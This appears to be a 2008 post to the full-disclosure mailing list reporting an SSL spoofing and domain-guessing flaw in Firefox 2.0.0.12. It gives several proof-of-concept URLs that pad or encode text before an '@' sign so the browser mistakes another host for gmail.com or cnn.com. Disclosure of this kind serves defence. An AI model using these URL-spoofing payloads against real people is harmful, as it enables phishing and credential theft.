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Message-ID: <bc7e11f20802041210m6753743ei9303088856dc29d2@mail.gmail.com>
Date: Mon, 4 Feb 2008 21:10:31 +0100
From: "carl hardwick" <hardwick.carl@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Firefox 2.0.0.12 SSL Spoofing and Domain Guessing
	vulnerabilities

Firefox seems to have trouble with defining the proper hostname when
requesting a ssl connection. I was able to trick Firefox in thinking
the hostname behind the at-sign is legit and the same as the URI that
requested an ssl connection, and this without a warning.

PoC: https://www.gmail.com%C0%AF%C0%AF%C0%C0%80@...uehost.com

You can add as much garbage between .com and the @ sign.

So what else can we do?

PoC:
www.cnn.com%C0%AF%C0%AF%C0%C0%80@...gle
www.gmail.com%C0%AF%C0%AF%C0%C0%80@...mail

ah heck we don't need that at all:
www.gmail.comxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx@...mail

works fine also :)

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